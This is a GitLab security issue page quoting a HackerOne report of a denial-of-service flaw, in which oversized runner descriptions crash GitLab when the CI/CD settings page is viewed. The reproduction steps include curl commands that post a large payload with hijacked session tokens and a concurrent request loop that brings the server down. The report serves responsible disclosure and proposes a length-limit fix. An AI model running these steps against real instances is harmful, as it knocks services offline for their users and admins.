Skip to content

A DOS vulnerability in the 'description' field of the runner

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2426166 by ac7n0w on 2024-03-21, assigned to @greg:

Report | Attachments | How To Reproduce

Report

Summary

I have discovered a vulnerability that can cause a crash in the GitLab backend. This issue arises from the lack of size restriction on the description field of the GitLab runner. I was able to store 90MB of data in the description field (while the max body size for GitLab's Nginx is 250MB). When a user accesses /user1/repo_1/-/settings/ci_cd, it results in a GitLab crash. This vulnerability is similar to the Denial of Service issue reported at GitLab Issue #392433.

My GitLab instance is version 16.9.2, running on a Debian server with 6 cores and 8GB of RAM. If your configuration differs, you may need to adjust the number of iterations in the attack script and the size of the data in payload-bad.txt.

Steps to reproduce
  1. Install GitLab on server 192.168.1.100, log in as user1, and create a project repo_1.

  2. Open the browser's developer tools, enter a project as user1, and pin any menu item.
    pins-2.jpg

  3. In the developer tools' Network tab, locate gitlab_session and X-Csrf-Token, and note them down for later use.
    token-3.png

  4. Replace gitlab_session and X-Csrf-Token in the shell script below, also make sure to replace the host:

    curl 'http://192.168.1.100/api/graphql' \  
      -H 'Cookie: _gitlab_session=2fa85f049d7f504e221ce79f20f1d0aa' \  
      -H 'content-type: application/json' \  
      -H 'x-csrf-token: eKNouJpcWukNcviFhk0UqOQNkmUQBk5qfwoFlOTUx5C-c9XWPub-LfxbqhAXUG7iMzOyFd8ovOsz8lMZkiEG5w' \  
      -H 'x-gitlab-feature-category: runner' \  
      -d [@]payload-bad.txt \  
      --compressed \  
      --insecure  
  5. Download the attached payload-bad.txt and execute the above shell script from the directory containing payload-bad.txt. I ran it 3 times to create 3 runners.

  6. Replace gitlab_session in the shell script below, and again, pay attention to the host:

    for i in {1..10}; do  
      curl -i -s -k -X 'GET' \  
      -H 'Host: 192.168.1.100' \  
      -b '_gitlab_session=2fa85f049d7f504e221ce79f20f1d0aa; event_filter=all' \  
      'http://192.168.1.100/user1/repo_1/-/settings/ci_cd' \  
      -o /dev/null &  
    done  
    wait  
  7. Execute the concurrent attack script above and, after the script completes, check the GitLab backend to find that the service has crashed.
    status-7.png

  8. Open repo_1, go to [Settings] -> [CI/CD], and upon entering the CI/CD settings page, you will find the page is unresponsive. This vulnerability also affects other users' ability to use the CI/CD settings normally.

  9. Open the Admin Area page, go to [CI/CD] -> [Runners], and you will find the page is unresponsive. This vulnerability also affects admin users' ability to manage runners normally.

Root Cause Analysis

Upon analyzing the issue, I found that the description field in the ci_runners table is of type character varying and users can freely set the value of description, which is also rendered on the browser page without any maximum length restriction. I believe it should have a maximum length limit of 1MB, similar to other description fields. Below is an SQL example:

CREATE TABLE ci_runners (  
    ...  
    description character varying(1048576),  
    ...  
);  

Impact

  • Causes server crash, leading to service unavailability.
  • Results in users being unable to properly utilize features related to CI/CD pages.
  • This vulnerability can be exploited to induce other users to visit specific pages, thereby initiating a Distributed Denial of Service (DDoS) attack.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: